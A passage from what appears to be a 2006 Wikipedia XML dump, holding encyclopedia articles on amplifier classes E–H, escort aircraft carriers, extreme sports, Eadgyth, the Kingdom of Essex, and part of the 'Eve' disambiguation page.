The theoretical efficiency of a class-E amplifier is 100% with ideal components. However, practical circuits do exhibit a number of weaknesses that makes them less than 100% efficient. These effects include finite switching speed, finite on-resistance and non-zero saturation voltage of the transistor as well as lossy passive components at high frequencies. Typical efficiency is about 60% at an operating frequency of 1-2 GHz.

This amplifier class is specially designed for the amplification of square waves, such as those used to transmit data in purely digital form. “Square” waves or pulses have special needs due to their frequency characteristics, since they require the faithful reproduction of the very high frequencies present in their leading and trailing edges, without adding artifacts such as ringing or overshoot during the amplification process. Consideration must be made as well for the lower frequency components introduced by the switching levels, such as the impedance of the output load, which is often in the form of a transmission line.

The class E amplifier was invented in 1972 by Nathan O. Sokal and [[Alan Sokal|Alan D. Sokal]], and details were first published in 1975 [1]. Some earlier reports on this operating class have been published in Russian.

===Class F===
Class F amplifiers are used in radio frequency communications such as cell phones or data links. They have provisions designed into them that accommodate for the modulation (or decoding) of the output by both amplitude modulation (AM) and frequency modulation (FM). This gives the designer multiple multiplex paths, whereby different information channels can be encoded into the signal, not just the AM or the FM, but also secondary paths such as side bands, pilot signals, or data streams. This also allows for redundancy to be designed into the signal, to ensure the prevention of error, or loss of data. This type of amplifier often uses Pulse Frequency Modulation (PFM) techniques to provide this complex modulation.

===Class G===
Class G amplifiers are a more efficient version of class AB amplifiers, which use &quot;rail switching&quot; to decrease power consumption and increase efficiency.  The amplifier has several power rails at different voltages, and switches between rails as the signal output approaches each.  Thus the amp increases efficiency by reducing the &quot;wasted&quot; power at the output transistors.

===Class H===
Class H amplifiers are similar to Class G, except that the power supply voltage &quot;tracks&quot;, or is modulated by, the signal.  The power supply is always kept slightly higher than the actual power required.  Often it has two power supplies, like the class G, and only the higher is modulated.  The modulated power supply is generated by a circuit similar to a class D amp.

==Reference==
[1] N. O. Sokal and A. D. Sokal, &quot;Class E&amp;mdash;A New Class of High-Efficiency Tuned Single-Ended Switching Power Amplifiers&quot;, ''IEEE Journal of Solid-State Circuits'', vol. SC-10, pp. 168-176, June 1975.
HVK

==See also==
*[[Electronics]] (the section about electronic stages)
*[[Low noise amplifier]]
*[[operational amplifier]]
*[[instrumentation amplifier]]

==External links==
*[http://www.rane.com/par-a.html#amplifier_classes Rane audio's guide to amplifier classes]
*[http://www.sengpielaudio.com/calculator-thd Conversion: distortion factor to distortion attenuation and THD]
*[http://www.crownaudio.com/pdf/amps/grbgpapr.pdf An alternate topology called the grounded bridge amplifier (PDF)]
*[http://www.qscaudio.com/support/library/papers/amptalk.pdf Contains an explanation of different amplifier classes (PDF)]
*[http://www.screensound.gov.au/glossary.nsf/Pages/Amplifier?OpenDocument Amplifier classes]
*[http://www.crownaudio.com/pdf/amps/bcapaper.pdf Reinventing the power amplifier (PDF)]
*[http://www.caraudiomag.com/specialfeatures/0111cae_anatomy/ Anatomy of the power amplifier, including information about classes]

[[Category:Electronic amplifiers]]

[[ca:Amplificador]]
[[da:Elektronisk forstærker]]
[[de:Verstärker (Technik)]]
[[es:Amplificador]]
[[fr:Amplificateur]]
[[it:Amplificatore]]
[[nl:Versterker (elektronica)]]
[[ja:増幅回路]]
[[pl:Wzmacniacz elektryczny]]
[[sv:Förstärkare]]</text>
    </revision>
  </page>
  <page>
    <title>Escort aircraft carrier</title>
    <id>9932</id>
    <revision>
      <id>35754541</id>
      <timestamp>2006-01-19T01:11:19Z</timestamp>
      <contributor>
        <username>Philip Baird Shearer</username>
        <id>26801</id>
      </contributor>
      <minor />
      <comment>/* Relative World War II carrier sizes */</comment>
      <text xml:space="preserve">The '''escort aircraft carrier''' or '''escort carrier''', was a small [[aircraft carrier]] developed by the [[Royal Navy]] in the early part of [[World War II]] to deal with the [[U-boat]] crisis of the [[Battle of the Atlantic (1940)|Battle of the Atlantic]]. 

==World War II==
The first escort carrier was [[HMS Audacity (D10)|HMS ''Audacity'']] which was converted from a captured German merchant ship the ''MV Hannover'' and commissioned in July 1941. She was followed by [[HMS Activity|''Activity'']],  ''Pretoria Castle'', etc.  Subsequently, ''Audacity'' became the model for later U.S. built escort carriers, the first example of which was the [[USS Long Island (CVE-1)|USS ''Long Island'']] (AVG-1).

In US service, they were initially referred to as '''auxiliary aircraft escort vessels''' and then '''auxiliary aircraft carrier''' before the Navy settled on escort aircraft carrier. They were informally known as '''Jeep carriers''' and '''baby flat tops'''. Escort carriers were given the US Navy [[hull classification symbol]] '''CVE''' &amp;mdash; this was sarcastically said by their crews to stand for '''Combustible, Vulnerable, and Expendable'''.

Escort carriers were typically around 500 ft (150 m) long, not much more than half the length of the almost 900 ft (300 m) fleet carriers of the same era, but actually less than one-third of the size: a typical escort carrier displaced about 8,000 tons, as compared to almost 30,000 tons for a full-size fleet carrier. They had a single [[hydraulic catapult]] instead of the 2 present on medium and large carriers, but the system of tail hook and arresting cable was the same. The aircraft [[hangar]] ran only a third of the way under the flight deck and there was only one aircraft elevator. Procedures for launch and recovery were the same as on the big carriers.  The islands of these ships were small and cramped, located well forward of the funnels (unlike on a normal-sized carrier where the funnels were integrated into the island).

The crew size was less than a third of that of a large carrier, but this was still a bigger complement than most naval vessels. It was large enough to justify the existence of facilities such as a permanent canteen or snack bar, called a [[gedunk bar]], in addition to the mess. The bar was open at longer hours than the mess and sold several flavors of [[ice cream]], along with cigarettes and other consumables. There were also several [[vending machine]]s, which made a &quot;gedunk&quot; sound when operated.

They were developed at the behest of the [[United Kingdom]] to operate
as part of a [[North Atlantic]] [[convoy]] escort rather than as part of a naval strike force.  Many of the  escort carriers produced were assigned to the [[Royal Navy]] for the duration of the war under the [[Lend-lease]] act. They supplemented and then replaced the converted [[merchant aircraft carrier]]s which were put into service by the British and Dutch as an emergency measure until the escort carriers became available. They were used by the Royal Navy, to hunt submarines, for the interception of long range enemy aircraft, for patrols and scouting, and to ferry aircraft.  

The ships sent to the Royal Navy were slightly modified, partly to suit the traditions of that service. Among other things the ice cream making machines were removed, since they were considered unnecessary luxuries on ships which served [[grog]] and other [[Alcoholic beverage|alcoholic beverages]]. The heavy duty [[washing machine]]s of the laundry room were also removed since &quot;all a British sailor needs to keep clean is a [[bucket]] and a bar of [[soap]]&quot; (quoted from Warrilow).

Other modifications were due to the need for an enclosed hangar when operating in the [[North Atlantic]] and in support of the [[Arctic convoys]].

Perhaps the finest moment for the escort carriers was the [[Battle of Leyte Gulf]]'s [[Battle of Leyte Gulf#Battle off Samar|Battle off Samar]], where three escort carrier groups fended off the [[battleships]] of the Japanese [[Combined Fleet]], allowing General [[Douglas MacArthur]]'s Army to complete the liberation of [[Leyte (island)|Leyte]]. The hero of the battle was [[Clifton Sprague]].

One of these escort carriers, the USS ''Guadalcanal'', was instrumental in the capture of the German submarine ([[U-boat]]) [[U-505]] off North Africa in 1944.  The Guadalcanal, and her task force, was commanded by Captain (later Admiral) [[Daniel V. Gallery]].  In 1955 the U-505 was moved to Chicago,
restored, and made a permanent exhibit at the [[Chicago Museum of Science and Industry]].

Over 100 escort carriers were launched or converted during the war. Of these, six ([[HMS Nairana (1944)|HMS ''Nairana'']], [[HMS Campania|HMS ''Campania'']], [[HMS Activity|HMS ''Activity'']], [[HMS Pretoria Castle|HMS ''Pretoria Castle'']], [[HMS Vindex|HMS ''Vindex'']], and [[HMS Audacity (D10)|HMS ''Audacity'']]) were British conversions of merchant ships, the rest being new construction in the USA (the first US escort carriers were conversion of unfinished merchant vessels). 

For complete lists see: 
* [[list of escort aircraft carriers of the United States Navy]]
* [[List of escort carriers of the Royal Navy]]

==Escort carrier tactics when escorting convoys==
There is a choice when operating escort carriers about where the ship operates with respect to the [[convoy]].

* It can be within the convoy, which gives it the protection of the convoy's own escort but brings the problem of space to turn into the wind to operate aircraft.
* Or it can be near the convoy which eliminates the operating space problem but loses the advantage of the convoy escort (forcing the carrier to have its own escort). It also brings the problem of the carrier being easily spotted by forces attacking the convoy and perhaps presenting them with a juicy (and possibly easy) target.
* Or it can be some way off from the convoy. While this adds the problem of the time needed for aircraft to travel to the convoy this is a fairly minor problem compared with the matter of being spotted by forces attacking the convoy.

''HMS Audacity'' was sunk while operating in the second position, the one that was later banned by the [[Admiralty]] as too risky.

==Relative carrier sizes in World War II ==

&lt;table align=center cellpadding=5&gt;
&lt;caption&gt;'''Relative carrier sizes'''&lt;br /&gt;
(typical examples)&lt;br /&gt;&lt;/caption&gt;
&lt;th style=&quot;background:#efefef;&quot;&gt;&lt;/th&gt;
&lt;th style=&quot;background:#efefef;&quot;&gt;Escort carrier&lt;/th&gt;
&lt;th style=&quot;background:#efefef;&quot;&gt;Fleet carrier&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;'''Length:'''&lt;/td&gt;&lt;td&gt;150 m&lt;/td&gt;&lt;td&gt;260 m&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Beam:'''&lt;/td&gt;&lt;td&gt;20 m&lt;/td&gt;&lt;td&gt;28 m&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Displacement:'''&lt;/td&gt;&lt;td&gt;7500 t&lt;/td&gt;&lt;td&gt;25,000 t&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Aircraft:'''&lt;/td&gt;&lt;td&gt;15 - 30&lt;/td&gt;&lt;td&gt;over 80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Speed:'''&lt;/td&gt;&lt;td&gt;19 knots (35 km/h)&lt;/td&gt;&lt;td&gt;33 knots (61 km/h)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Crew:'''&lt;/td&gt;&lt;td&gt;850&lt;/td&gt;&lt;td&gt;3000 and over&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

==Post World War II==
Following the war, this class of ship was retired, primarily because as the navies were reduced in size it was better to keep the larger and more useful fleet carriers in preference to them.

Just about every important class of ship or patrol boat from World War II can be found in a museum or in a port, somewhere in the United States, except for the escort carrier and the light carrier. There are no survivors from either type of ship: all were destroyed during the war or broken up in the decades following it. The last escort carrier, [[USS Gilbert Islands (CVE-107)|USS ''Gilbert Islands'' (CVE-107)]] was broken up for scrap starting in 1976.

==See also==
* [[CAM ship]]
*[[Merchant aircraft carrier]]

==References==
*Galuppini, Gino. ''Le guide des porte-avions''. Paris:  Fernand Nathan, 1981
*Poolman, Kenneth. ''Escort carrier 1941-1945: An account of British Escort Carriers in Trade Protection''.  London:  Ian Allan, 1972
*Warrilow, Betty. ''Nabob, the first Canadian-manned aircraft carrier''.  Owen Sound, Ont. : Escort Carriers Association, 1989.
*Gallery, Daniel V. ''20 Million Tons Under The Sea''. Ballentine, 1965.

[[Category:Ship types]]

[[fi:saattuetukialus]]
[[ja:&amp;#35703;&amp;#34907;&amp;#31354;&amp;#27597;]]</text>
    </revision>
  </page>
  <page>
    <title>Extreme sport</title>
    <id>9933</id>
    <revision>
      <id>41907449</id>
      <timestamp>2006-03-02T15:05:08Z</timestamp>
      <contributor>
        <username>Wayward</username>
        <id>184087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/199.243.125.2|199.243.125.2]] ([[User talk:199.243.125.2|talk]]) to last version by Flume</comment>
      <text xml:space="preserve">'''Extreme sport''' (practically synonymous with the term '''action sport''' and also called adventurous sports) is a general term for [[sport]]s featuring speed, height, danger or spectacular stunts. A feature of such activities in the view of some is their alleged capacity to induce a so-called ‘‘[[adrenaline]] rush’’ in participants (a misnomer, since often the rush or high obtained is a product of increased levels of [[dopamine]] [[endorphin]]s and [[serotonin]]).

Extreme sports are often associated with young adults wishing to push themselves to the limits of their physical ability and fear, in turn pushing the boundaries of a particular sport. This youthful demographic accounts too for extreme sports’ frequent association with [[youth culture]], including its clothing, [[fashion]]s, and [[music]].

Some contend that the distinction between an extreme sport and a conventional one is as much to do with [[marketing]] as it is to do with perceptions about levels of danger involved or the amount of adrenaline generated. [[Snowboarding]] thus has a more extreme ‘‘image’’ than [[skiing]] due to differing marketing strategies and the fact of being a newer sport, even though skiing is a faster and at least equally dangerous activity. Furthermore a sport like [[Rugby Union]], though dangerous and adrenaline-inducing, would not fall into the category of extreme sports due to its traditional image.  

The term gained popularity with the advent of the [[X Games]], a made-for-television collection of events. [[Advertisers]] were quick to recognise the appeal of the event to the public, as a consequence competitors and organisers are not wanting for sponsorship these days. The high profile of extreme sports and the culture surrounding them has also led people to invent jokey parodies, such as [[Extreme ironing]], [[urban housework]], [[extreme croquet]], [[extreme unicycling]], ''''house gymnastics'''', and [[extreme wheelbarrow]].

Some purists repudiate the [[stereotype|stereotypical]] &quot;adrenaline junkie&quot; tag. The practitioners would claim they enjoy developing their physical and/or mental skills, seek mastery of inhospitable environments, look to escape from the mundane rigours of day-to-day existence, or simply love the wilderness environment in which many of these sports take place. ''''Bob Drury'''', a [[paragliding|paraglider]] pilot says &quot;We do these things not to escape life, but to prevent life escaping us&quot; -- even though accidents in these sports could be fatal. Many participants also don't think of their activities as either ''extreme'' or ''sports'' at all. To the most passionate purists, the ''sport'' label doesn't fit because they aren't competing to win anything. Worse, the ''extreme'' label has frequently been blamed for stereotyping participants in these activities as stupid, reckless, and even suicidal.

Some of the sports have existed for decades and their proponents span generations, some going on to become well known personalities. [[Rock climbing]] and [[ice climbing]] have spawned publicly recognisable names such as [[Edmund Hillary]], [[Chris Bonington]] and more recently [[Joe Simpson (mountaineer)|Joe Simpson]]. Another example is [[surfing]], which was originally invented centuries ago by the native inhabitants of [[Hawaii]].

Several so-called extreme sports, including snowboarding, were included in the [[2002 Winter Olympic Games]].

==List of some extreme sports==
The following are sometimes classed as extreme sports:

* [[BASE jumping]]
* [[BMX|BMX freestyle]]
* [[Bouldering]]
* [[Buildering]]
* [[Bungee jumping]]
* [[Caving]]	 
* [[Cave diving]] 
* [[Climbing]]
* [[Drag_Racing|Drag Racing]]	 
* [[Elevator surfing]]
* [[Extreme skiing]]
* [[Free-diving]]
* [[Whitewater kayaking]]	 
* [[Kitesurfing]]
* [[Kiteboarding]]
* [[Kneeboarding (towsport)|Kneeboarding]]	 
* [[Mountain biking]]	 
* [[Mountain Boarding|Mountain boarding]]
* [[Paragliding]]	 
* [[Paramotoring]]
* [[Parkour]]
* [[Poweriser]]	 
* [[Rafting|Whitewater rafting]]	
* [[Rock Climbing]] 	 
* [[Roller Derby]]
* [[Skateboarding]]
* [[Skiboarding]]
* [[Skydiving]]	 
* [[Skysurfing]]	  
* [[Slamball]]	
* [[Snowboarding]]	 
* [[Street luge]]
* [[Stunt Pogo]]	 
* [[Surfing]]
* [[Unicycling]] 
* [[Wakeboarding]]
* [[Walking]]	 
* [[Water skiing]]	
* [[Windsports]] 
* [[Windsurfing]]

==External links==
* [http://www.spiked-online.com/Articles/0000000CAD26.htm What's so extreme about extreme sports?]  Extreme sports as part marketing hype and part individualism.
* [http://www.madwings.com Extreme sport fan site]

[[Category:Extreme sports|*]]	 
[[Category:1990s fads]]

[[ca:Esports de risc]]
[[de:Extremsport]]
[[es:Deporte extremo]]
[[fa:ورزش‌های مخاطره‌آمیز]]
[[he:ספורט אתגרי]]
[[ja:エクストリームスポーツ]]
[[pl:Sporty ekstremalne]]
[[sl:Ekstremni šport]]</text>
    </revision>
  </page>
  <page>
    <title>Eadgyth</title>
    <id>9935</id>
    <revision>
      <id>32028778</id>
      <timestamp>2005-12-19T23:38:05Z</timestamp>
      <contributor>
        <username>ZwoBot</username>
        <id>332929</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: de</comment>
      <text xml:space="preserve">'''Ædgyth''' or '''Edith of England''' ([[910]] - [[January 26|26 January]] [[946]]) was the daughter of [[Edward the Elder]], King of [[England]] and Ælfflæd. Edith's grandfather was [[Alfred the Great]], King of the [[West Saxons]] (or King of Wessex).

King [[Athelstan of England]] sent two of his sisters to Germany, instructing [[Otto I, Holy Roman Emperor]] to choose whichever one pleased him best. Otto chose Edith and married her in [[929]]. The remaining sister Algiva or Adiva was married to a &quot;king near the Jupiter mountains&quot; (the [[Alps]]). The precise identity of this sister is debated. She may have been [[Eadgifu of England]] who married King [[Charles III of France]], or another sister otherwise unknown to history.

Like her brother, Athelstan, Edith was devoted to the cult of [[Saint Oswald]], and was instumental in introducing this cult into Germany after her marriage to the emperor.

Edith and Otto's children were:
# Liutgarde, married [[Conrad the Red]]
# [[Liudolf, Duke of Swabia]] ([[930]]-[[September 6]], [[957]])

Her tomb is located at the [[Cathedral of Magdeburg]].

==Sources==
*Freytag von Loringhoven, Baron. [[Stammtafeln zur Geschichte der Europäischen Staaten]], 1965.
*Klaniczay, Gábor. ''Holy Rulers and Blessed Princesses'', 2002.

[[Category:Ottonian Dynasty]]

[[de:Edgitha]]
[[fi:Editha]]</text>
    </revision>
  </page>
  <page>
    <title>Kingdom of Essex</title>
    <id>9937</id>
    <revision>
      <id>30901912</id>
      <timestamp>2005-12-11T05:47:21Z</timestamp>
      <contributor>
        <username>Simetrical</username>
        <id>158371</id>
      </contributor>
      <minor />
      <comment>[[:en:Wikipedia:Tools/Navigation_popups|Popups]]-assisted disambiguation from [[Roman]] to [[ancient Rome]]</comment>
      <text xml:space="preserve">The '''Kingdom of the East Seaxe''' (one of the seven traditional kingdoms of the so-called Anglo-Saxon [[Heptarchy]]) was founded around [[500]] AD and covered the territory currently occupied by the counties of [[Essex]], [[Hertfordshire]] and [[Middlesex]].

The kingdom was bounded to the north by the [[River Stour]] and [[Kingdom of East Anglia]], to the south by the [[River Thames]] and [[Kent]], to the east lay the [[North Sea]] and to the west [[Mercia]]. The earliest record of the kingdom dates to [[Bede]]'s History Eccl., which noted the arrival of Bishop (later Saint) [[Mellitus]] in London in [[604]]. The territory included the remains of two provincial [[ancient Rome|Roman]] capitals [[Colchester]] and [[London]]. For a brief period in the [[8th century]] the kingdom also encompassed the Kentish Kingdom to the South, but by the mid 8th century much of the kingdom, including London, had fallen to [[Mercia]]. After the defeat of the Mercian king [[Beornwulf]] around  [[825]] AD, the kingdom became a possession of the [[West Saxon kingdom|Wessex]] king [[Ecgbert]]. In [[870]] the territory was ceded by Wessex, under the [[Treaty of Wedmore]], to the [[Danelaw]] kingdom of [[East Anglia]]. The modern [[England|English]] [[county]] of Essex maintains the historic northern and the southern borders, but only covers the territory east of the [[River Lee]].

The dates, names and achievements, like those of most early rulers in the [[Heptarchy]], remain conjectural. The dynasty claimed descent from the god [[Seaxneat]], rather than the god [[Woden]] (from whom the other [[Saxon people|Saxon]] tribes claimed descent). The list of kings may omit whole generations.

This was a time when spellings varied widely, even within a document.  A number of variations of the details below exist. Amongst these are the preference between þ and ð (hard and soft &quot;th&quot;).

The character '7' was used as the ampersand '&amp;' in contemporary Anglo-Saxon writings.  The era pre-dates the emergence of forms of writing accepted today, notably [[minuscule]], and the letters 'W' and 'U'.  Where W was followed by U this was generally rendered as 'VV' (which was also used for 'W' alone). 

=== List of Kings of the East Saxons (Essex) ===

{| border=1 style=&quot;border-collapse: collapse&quot;
!width=&quot;15%&quot;|Reign
!width=&quot;20%&quot;|Incumbent
!width=&quot;30%&quot;|
!width=&quot;20%&quot;|Notes
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[527]] to [[587]]
|'''[[Aescwine of Essex|Aescwine]]'''
|&lt;small&gt;'''ÆSCVVINE CENFVSING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''ÆSCVVINE REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[587]] to ''ante'' [[604]]
|'''[[Sledda of Essex|Sledda]]'''
|&lt;small&gt;'''SLEDDA ÆSCVVINING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SLEDDA REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;''ante'' [[604]] to [[616]]/[[617|7]]
|'''[[Saebert of Essex|Saebert]]'''
|&lt;small&gt;'''SÆBRYHT SLEDDING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SÆBRYHT REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[616]]/[[617|7]] to [[617]]
|'''[[Sexred of Essex|Sexred]]'''
|&lt;small&gt;'''SEXRED SÆBRYHTING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SEXRED REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|&lt;small&gt;Joint king with [[Saeward of Essex|Saeward]]; killed in battle against the [[West Saxons]]
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[616]]/[[617|7]] to [[617]]
|'''[[Saeward of Essex|Saeward]]'''
|&lt;small&gt;'''SÆVVARD SÆBRYHTING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SÆVVARD REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|&lt;small&gt;Joint king with [[Sexred of Essex|Sexred]]; killed in battle against the [[West Saxons]]
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[617]] to ''ante c.''[[653]]
|'''[[Sigeberht I of Essex|Sigeberht I the Little]]'''
|&lt;small&gt;'''SIGEBRYHT SÆVVARDING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SIGEBRYHT PARVVS REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;''c.''[[653]] to [[664]]
|'''[[Sigeberht II of Essex|Sigeberht II the Good]]'''
|&lt;small&gt;'''SIGEBRYHT SÆVVARDING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SIGEBRYHT SANCTVS REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|&lt;small&gt;Saint Sigeberht; Saint Sebbi (Feast Day [[29 August]])
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[660]] to [[664]]
|'''[[Swithelm of Essex|Swithelm]]'''
|&lt;small&gt;'''SVVIÞELM''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SVVIÞELM REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[664]] to [[683]]
|'''[[Sighere of Essex|Sighere]]'''
|&lt;small&gt;'''SIGHERE SIGEBRYHTING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SIGHERE REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|&lt;small&gt;Joint-king with [[Sebbi of Essex|Sebbi]]
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[664]] to ''c.''[[694]]
|'''[[Sebbi of Essex|Sebbi]]'''
|&lt;small&gt;'''SEBBI''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SEBBI REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|&lt;small&gt;Joint-king with [[Sighere of Essex|Sighere]]; abdicated in favour of his son [[Sigeheard of Essex|Sigeheard]]
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;''c.''[[694]] to ''c.''[[709]]
|'''[[Sigeheard of Essex|Sigeheard]]'''
|&lt;small&gt;'''SIGEHEARD SEBBING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SIGEHEARD REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|&lt;small&gt;Joint-king with his son [[Swaefred of Essex|Swaefred]]
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;''c.''[[695]] to ''ante c.''[[709]]
|'''[[Swaefred of Essex|Swaefred]]'''&lt;br&gt;(Swaebheard)
|&lt;small&gt;'''SVVÆFRED SIGEHEARDING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SVVÆFRED REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|&lt;small&gt;Joint-king with his father [[Sigeheard of Essex|Sigeheard]]
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[709]]
|'''[[Offa of Essex|Offa]]'''
|&lt;small&gt;'''OFFA SIGEHERING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''OFFA REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|&lt;small&gt;Abdicated
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;''c.''[[709]] to [[746]]
|'''[[Saelred of Essex|Saelred]]'''&lt;br&gt;(Swebert) 
|&lt;small&gt;'''SÆLRED SIGEBRYHTING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SÆLRED REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|&lt;small&gt;Probably joint-king with [[Swaefbert of Essex|Swaefbert]]
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;''c.''[[715]] to [[738]]
|'''[[Swaefbert of Essex|Swaefbert]]'''
|&lt;small&gt;'''SVVÆFBRYHT''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SVVÆFBRYHT REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|&lt;small&gt;Probably joint-king with [[Saelred of Essex|Saelred]]
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[746]] to [[758]]
|'''[[Swithred of Essex|Svvithred]]'''
|&lt;small&gt;'''SVVIÞRED SIGEMVNDING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SVVIÞRED REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[758]] to [[798]]
|'''[[Sigeric of Essex|Sigeric]]'''
|&lt;small&gt;'''SIGERIC''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SIGERIC REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|&lt;small&gt;Abdicated
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[798]] to [[812]]
|rowspan=&quot;2&quot;|'''[[Sigered of Essex|Sigered]]'''
|&lt;small&gt;'''SIGERED SIGERICING''' &lt;small&gt;ESTSEAXNA CYNING&lt;br&gt;'''SIGERED REX''' &lt;small&gt;SAXONVM ORIENTALIVM
|
|- valign=top bgcolor=&quot;#ffffec&quot;
|&lt;small&gt;[[812]] to [[825]]
|&lt;small&gt;'''SIGERED DVX''' &lt;small&gt;SAXONVM ORIENTALIVM
|&lt;small&gt;Rank reduced by [[Mercia]]n overlords
|- valign=top 
|''c.''[[825]]||colspan=&quot;3&quot;|''[[Mercia]] defeated by [[Egbert of Wessex]], sub-kingdom of Essex subsumed into [[Wessex]]''
|}

Sigered was the last king of Essex, and he ceded the kingdom to [[Egbert of Wessex]].

{{heptarchy}}

=== Sources ===
* '''''Kings, Rulers and Statesmen''', Clive Carpenter, Guinness Superlatives Ltd''
* '''''Rulers and Governments of the World, Vol1, Earliest Times to 1491''', Martha Ross''

[[Category:Anglo-Saxon England]]
[[Category:History of Essex]]
[[Category:Former monarchies|Essex]]

[[de:Königreich Essex]]
[[fr:Royaume d'Essex]]
[[it:Regno dell'Essex]]
[[no:Kongedømmet Essex]]
[[pt:Reino de Essex]]</text>
    </revision>
  </page>
  <page>
    <title>Eve (disambiguation)</title>
    <id>9939</id>
    <revision>
      <id>41212997</id>
      <timestamp>2006-02-25T20:52:33Z</timestamp>
      <contributor>
        <username>Dermo</username>
        <id>946385</id>
      </contributor>
      <comment>/* Persons */</comment>
      <text xml:space="preserve">'''Eve''' is a word with several meanings: 

==Days==
*'''[[wiktionary:Eve|Eve]]''', meaning &quot;the day before&quot; (related to [[wiktionary:Evening|Evening]]);
** '''[[St. John's Eve]]''' (aka [[Midsummer Eve]], [[Bonfire Night]], [[Midsummer Night]]) is celebrated on the evening of [[June 23]] in many parts of [[Ireland]] and [[Norway]] with the lighting of [[bonfire]]s.
** '''[[Christmas Eve]]''', [[December 24]], the day before [[Christmas Day]], is treated to a greater or a lesser extent in most [[Christian]] societies as part of the Christmas festivities.
** '''[[New Year's Eve]]''', a celebration held the day before [[New Year's Day]], on [[December 31]], the final day of the year.
** '''[[The Eve of St. Agnes]]''', [[January 20]], considered especially in the [[British Isles]] to be the night on which young women dream of their future husbands.


==Persons==
'''Eve''' is a girl's [[given name]], the 562nd most popular name for a baby girl in 2002 in the [[United States|United States of America]].
*'''[[Mitochondrial Eve]]''' is the theoretical common female ancestor from whom all living humans have inherited their [[mitochondrial DNA]];
*'''[[Eve (rapper)|Eve]]''' is a [[hip hop music|hip hop]] artist and [[Actor|actress]] who has made several albums and starred in the movie ''[[Barbershop (movie)|Barbershop]]'', and her own self-titled [[UPN]] show as the character &quot;Shelly&quot;; 
*'''Eve''' is the name given by the [[Raelian]] corporation [[Clonaid]] to a girl born in 2002 whom they claim to be the first successful human clone.

===Fictional persons===

*'''Eve''' was the first woman in the [[Bible|Biblical]] story of '''[[Adam and Eve]]'''
*'''[[Eve (DC Comics)|Eve]]''' is a fictionalized version of the Biblical Eve in the ''[[The Sandman (DC Comics Modern Age)|Sandman]]'' [[comic book]] series by [[Neil Gaiman]];
*'''[[Eve (Buffyverse)|Eve]]''' is a villain on the [[television series]] ''[[Angel (TV series)|Angel]]''
*'''Eve''' is the daughter of [[Xena]] in the TV series ''[[Xena: Warrior Princess]]''
*'''[[Eve (Applegeeks)|Eve]]''' is an [[android]] created from [[Apple Mac]] parts in the ''[[Applegeeks]]'' [[webcomic]]
*'''Eve''' is a female superhero in the ''[[Freedom Force (computer game)|Freedom Force]]'' [[computer game]] series

==Places==
*'''[[Ève]]''' is a [[commune in France|commune]] in the [[Oise]] ''[[département in France|département]]

==Other==
